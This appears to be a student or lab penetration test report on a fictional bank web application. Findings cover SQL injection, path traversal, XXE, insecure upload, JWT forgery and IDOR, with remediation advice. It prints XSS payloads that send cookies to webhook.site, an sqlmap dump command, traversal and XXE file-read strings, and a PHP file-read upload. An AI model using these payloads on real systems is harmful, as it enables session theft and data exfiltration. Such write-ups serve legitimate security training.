|  |
| --- |
| **Web Application Pentest Report** |
| **Vulnerability Report** |
| Sunday, January 15, 2023 |

**modifications history**

| **Version** | **Date** | **Author** | **Description** |
| --- | --- | --- | --- |
| 1.0 | 01/15/2023 | Stefan Codreanu | Initial Version |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |

**Table of Contents**

1. General Information 4

1.1 Scope 4

1.2 Organisation 4

2. Executive Summary 5

3. Technical Details 6

3.1 title 6

4. Vulnerabilities summary 8

# **General Information**

## **Scope**

undefined has mandated us to perform security tests on the following scope:

* The scope of this penetration test is to identify and evaluate the security risks associated with the BAZAARE BANK web application. The testing will include all publicly accessible pages and functionality of the application. The following types of testing will be performed:
* Network-level penetration testing to identify any external vulnerabilities that could be exploited by an attacker to gain unauthorized access to the application or its underlying systems.
* Web application penetration testing to identify and exploit vulnerabilities in the application itself, such as SQL injection, cross-site scripting (XSS), and insecure file uploads.
* Authentication and authorization testing to evaluate the effectiveness of the application's access controls and identify any weaknesses that could be exploited by an attacker.
* The testing will be performed using a combination of manual and automated techniques. The testing will not include any destructive or disruptive actions, and all testing will be conducted in accordance with the client's policies and procedures. Any vulnerabilities or issues identified during the testing will be reported to the client with recommendations for mitigation.
* The scope of this assessment is restricted to the web application, it's not including any external systems or network infrastructure. The test will be performed from a remote location and will not include any on-site testing or physical access to the client's facilities.

## **Organisation**

The testing activities were performed between 01/09/2023 and 01/19/2023.

# **Executive Summary**

A thorough penetration test of the BAZAARE BANK web application was conducted to identify any potential vulnerabilities. The scope of the testing included all publicly accessible pages and the functionality of the application. The testing was performed using a combination of manual and automated methods.

Several vulnerabilities were discovered, including information disclosure, broken access control, cross-site scripting (XSS), SQL injection, path traversal, insecure file uploads, XML External Entity (XXE), and JSON Web Token (JWT) manipulation. These vulnerabilities could potentially be exploited by an attacker to gain unauthorized access to sensitive data, perform malicious actions on the application, and manipulate tokens to gain access to restricted resources.

In the report will be provided detailed recommendations for mitigating each of the vulnerabilities discovered, including implementing proper access controls, validating user input, and sanitizing all user-supplied data. Additionally, the recommendation is to use a JWT library that provides built-in security features such as signature verification and to validate and sanitize all file uploads.

It is important to note that this report is not exhaustive and that the web application may still be vulnerable to other types of attacks. It is advisable to conduct regular penetration testing and vulnerability assessments to stay ahead of potential threats.

Overall, the client has been provided with a clear understanding of the security risks present in their web application and actionable steps to address those risks, which will help in securing the app and the data it handles.

# **Vulnerabilities summary**

Following vulnerabilities have been discovered:

|  |  |  |  |
| --- | --- | --- | --- |
| **Risk** | **ID** | **Vulnerability** | **Affected Scope** |
| Critical | IDX-008 | SQL Injection |  |
| Critical | IDX-006 | JWT Manipulation |  |
| Critical | IDX-003 | IDOR |  |
| Critical | IDX-004 | Broken Access Control |  |
| High | IDX-007 | Path Traversal |  |
| Medium | VULN-001 | Information Dissclosure |  |

# **Technical Details**

## **XSS cross-site scripting**

|  |  |  |  |
| --- | --- | --- | --- |
| CVSS Severity |  | CVSSv Score |  |
| **Affected scope** |  | | |
| **Description** | Despite utilizing various payloads and attempting to exploit the vulnerability through multiple input fields, as well as capturing and analyzing the request through Burp Suite, was unable to capture the cookie flag. | | |
| **Observation** | Payloads used  <script type="text/javascript">  document.write("<iframe src=' https://webhook.site/a1ccbe1a-79cd-4cb8-8f1b-2c59de3c920c?cookie="+document.cookie+"'></iframe>");  </script>  <script>  fetch('https://webhook.site/5c8acf7c-f818-4524-a93a-aa111b2ccc8f](https://webhook.site/5c8acf7c-f818-4524-a93a-aa111b2ccc8f)  ', {  method: 'POST',  mode: 'no-cors',  body:document.cookie  });  </script> | | |
| **Test details** | | | |
| **Remediation** | Input validation: Ensure that all user input is properly validated and sanitized before it is used in the application.  This can help prevent attackers from injecting malicious code into the application.  Content Security Policy (CSP): Implementing a Content Security Policy (CSP) can help prevent XSS attacks by specifying which sources of content are allowed to be loaded by the browser. | | |
| **References** |  | | |

## **SQL Injection**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | Critical | | CVSSv Score | | 9.6 |
| **CVSSv criterias** | Attack Vector : | **Network** | Scope : | **Changed** | |
| Attack Complexity : | **Low** | Confidentiality : | **High** | |
| Required Privileges : | **None** | Integrity : | **High** | |
| User Interaction : | **Required** | Availability : | **High** | |
| **Affected scope** |  | | | | |
| **Description** | Discovered a SQL injection vulnerability in the application's login functionality. By intercepting a login request using Burp Suite, we were able to save the request to a file and use SQLMap to test the application's vulnerability to SQL injection.  The results of this testing revealed that the application was indeed vulnerable to SQL injection, and we were able to successfully extract sensitive information from the application's database, including the contents of the 'users' table. | | | | |
| **Observation** | sqlmap -r a.req --level=3 --risk=3  image  Image 1 – image.png  sqlmap -r a.req --level=3 --risk=3 -dump -T Users --threads 5  image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | Use of Prepared Statements: Prepared statements with parameterized queries, it is a way to write dynamic queries that are safe against SQL injection. By using prepared statements, the database server will only execute the code that was intended, rather than any malicious code that may have been injected.  Input Validation: Implementing input validation on all user-supplied data, this can be done by using a whitelist approach, where only known-good input is accepted, or by using a library that can validate input based on a set of rules. | | | | |
| **References** |  | | | | |

## **Path Traversal**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | High | | CVSSv Score | | 8.2 |
| **CVSSv criterias** | Attack Vector : | **Network** | Scope : | **Changed** | |
| Attack Complexity : | **Low** | Confidentiality : | **Low** | |
| Required Privileges : | **Low** | Integrity : | **High** | |
| User Interaction : | **Required** | Availability : | **Low** | |
| **Affected scope** |  | | | | |
| **Description** | During our assessment, it was identified a path traversal vulnerability in the application's report generation functionality. Specifically that the application was not properly validating the id parameter when generating reports.  By manipulating the id parameter, we were able to use directory traversal techniques to gain access to sensitive information outside of the intended file system, such as the contents of the '/etc/flag.txt' file. | | | | |
| **Observation** | ../../../../../../etc/flag.txt  image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | Input validation: Ensure that all user input is properly validated and sanitized before it is used to construct file paths. This can help prevent attackers from injecting malicious data into the application and accessing unauthorized files or directories.  Use of whitelists: Use a whitelist approach to validate file paths, only allowing access to files and directories that are explicitly specified. | | | | |
| **References** |  | | | | |

## **Insecure file upload**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity |  | | CVSSv Score | |  |
| **CVSSv criterias** | Attack Vector : | **Not Defined** | Scope : | **Not Defined** | |
| Attack Complexity : | **Not Defined** | Confidentiality : | **Not Defined** | |
| Required Privileges : | **Not Defined** | Integrity : | **Not Defined** | |
| User Interaction : | **Not Defined** | Availability : | **Not Defined** | |
| **Affected scope** |  | | | | |
| **Description** | Initially attempted to upload a webshell.php file, containing a simple PHP code, in order to execute commands and retrieve the flag by accessing the path /Uploads/webshell.php?cmd=/bin/flag.  However, this approach was unsuccessful. Subsequently uploaded a regular image and utilized Burp Suite to create two separate tabs for a GET and POST request.  The GET request displayed the image, while the POST request contained the uploaded picture. Then modified the file name in the POST request to exploit.php, removed all data and input a PHP code to retrieve the file contents using <?php echo file\_get\_contents('/bin/flag'); ?>.  In addition, modified the file name in the GET request. Both requests were then sent through the repeater, yet were not successful in retrieving the flag. | | | | |
| **Observation** | image  Image 1 – image.png  image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | Validate file types: Ensure that the server only accepts specific file types, such as images or PDFs.  Check file size: Limit the size of files that can be uploaded to prevent large files from overwhelming the server.  Use secure protocols: Use HTTPS or SFTP to encrypt the file transfer and prevent eavesdropping or tampering. | | | | |
| **References** |  | | | | |

## **XXE**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity |  | | CVSSv Score | |  |
| **CVSSv criterias** | Attack Vector : | **Not Defined** | Scope : | **Not Defined** | |
| Attack Complexity : | **Not Defined** | Confidentiality : | **Not Defined** | |
| Required Privileges : | **Not Defined** | Integrity : | **Not Defined** | |
| User Interaction : | **Not Defined** | Availability : | **Not Defined** | |
| **Affected scope** |  | | | | |
| **Description** | Upon conducting a thorough security assessment utilizing Burp Suite, was unable to identify any vulnerabilities related to XML External Entity (XXE) within the application's processing of XML data. Despite searching various endpoint locations where XML input was accepted, was unable to identify any potential points of exploitation. | | | | |
| **Observation** | Tried this payloads on different endpoints  <!--?xml version="1.0" ?-->  <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/xxe-flag.txt"> ]>  <userInfo>  <firstName>John</firstName>  <lastName>&ent;</lastName>  </userInfo> | | | | |
| **Test details** | | | | | |
| **Remediation** | Disable DTD processing: This can be done by setting the "feature" on the parser to false or by using a different parser that does not support DTDs.  Use less permissive parsers: Use a parser that limits the functionality of entities, such as Xerces-J or libxml2.  Use a whitelist: Only allow well-formed XML input and only allow input from specific entities | | | | |
| **References** |  | | | | |

## JWT Manipulation

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | Critical | | CVSSv Score | | 9.0 |
| **CVSSv criterias** | Attack Vector : | **Network** | Scope : | **Changed** | |
| Attack Complexity : | **Low** | Confidentiality : | **High** | |
| Required Privileges : | **Low** | Integrity : | **High** | |
| User Interaction : | **Required** | Availability : | **High** | |
| **Affected scope** |  | | | | |
| **Description** | During our assessment, identified a vulnerability in the application's JSON Web Token (JWT) implementation.  Specifically, observed that the application was not properly validating the authenticity of JWT tokens. By intercepting a request to the 'account summary' page using Burp Suite, we were able to extract a JWT token and modify it using a tool such as JWT.io.  By changing the username claim to "jwt-user" and setting the algorithm to "none", we were able to bypass the signature validation and gain unauthorized access to sensitive information. | | | | |
| **Observation** | image  Image 1 – image.png  image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | We recommend that the client implement proper JWT validation, such as signature verification and validation of the algorithm, to prevent unauthorized access to sensitive information. | | | | |
| **References** |  | | | | |

## **IDOR**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | Critical | | CVSSv Score | | 9.0 |
| **CVSSv criterias** | Attack Vector : | **Network** | Scope : | **Changed** | |
| Attack Complexity : | **Low** | Confidentiality : | **High** | |
| Required Privileges : | **Low** | Integrity : | **High** | |
| User Interaction : | **Required** | Availability : | **High** | |
| **Affected scope** |  | | | | |
| **Description** | A vulnerability in the application's access controls. Identified that the application failed to properly validate the id parameter when accessing sensitive information.  By manipulating the id parameter, we were able to gain unauthorized access to sensitive information belonging to another user, including an account with a balance of over 1 million. | | | | |
| **Observation** | Saw the id parameter was 101 and changed it till we found the account that had over 1mil which was id 88.  image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | Input validation: Ensure that all user input is properly validated and sanitized before it is used to access sensitive data or resources. This can help prevent attackers from injecting malicious data into the application and accessing unauthorized resources. | | | | |
| **References** |  | | | | |

## Broken Access Control

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | Critical | | CVSSv Score | | 9.0 |
| **CVSSv criterias** | Attack Vector : | **Network** | Scope : | **Changed** | |
| Attack Complexity : | **Low** | Confidentiality : | **High** | |
| Required Privileges : | **Low** | Integrity : | **High** | |
| User Interaction : | **Required** | Availability : | **High** | |
| **Affected scope** |  | | | | |
| **Description** | Identified a vulnerability in the application's access controls. Observed that the application was not properly validating the id parameter during transactions.  By intercepting a request using Burp Suite, was able to manipulate the id parameter and gain unauthorized access to another user's sensitive information, including the ability to complete transactions on their behalf. | | | | |
| **Observation** | As seen below we changed the parameter to 88 in order for the transaction to work.  image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | We recommend that the client implement proper input validation and access controls on the id parameter to prevent unauthorized access to sensitive information and transactions | | | | |
| **References** |  | | | | |

## **Information Dissclosure**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | Medium | | CVSSv Score | | 6.3 |
| **CVSSv criterias** | Attack Vector : | **Network** | Scope : | **Unchanged** | |
| Attack Complexity : | **Low** | Confidentiality : | **Low** | |
| Required Privileges : | **None** | Integrity : | **Low** | |
| User Interaction : | **Required** | Availability : | **Low** | |
| **Affected scope** |  | | | | |
| **Description** | During the course of the testing, utilizing the browser developer tools to examine the application's client-side storage mechanisms. During this examination, we discovered a cookie flag present in the application's storage. | | | | |
| **Observation** | image  Image 1 – image.png  image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | Recommend that the client implement proper validation and access controls on this cookie flag to prevent unauthorized access to sensitive information or functionality. | | | | |
| **References** |  | | | | |

## 

## **Information Disclosure page source**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity |  | | CVSSv Score | |  |
| **CVSSv criterias** | Attack Vector : | **Not Defined** | Scope : | **Not Defined** | |
| Attack Complexity : | **Not Defined** | Confidentiality : | **Not Defined** | |
| Required Privileges : | **Not Defined** | Integrity : | **Not Defined** | |
| User Interaction : | **Not Defined** | Availability : | **Not Defined** | |
| **Affected scope** |  | | | | |
| **Description** | Examined the application's login page source for potential vulnerabilities. During this examination, we discovered a hardcoded set of credentials, including a username and password, present in the application's page source. This information could potentially be exploited by an attacker to gain unauthorized access to the application's functionality or data. | | | | |
| **Observation** | image  Image 1 – image.png | | | | |
| **Test details** | | | | | |
| **Remediation** | The recommendations are that the client removes these hardcoded credentials from the login page source and implements proper mechanisms for user authentication and access control. | | | | |
| **References** |  | | | | |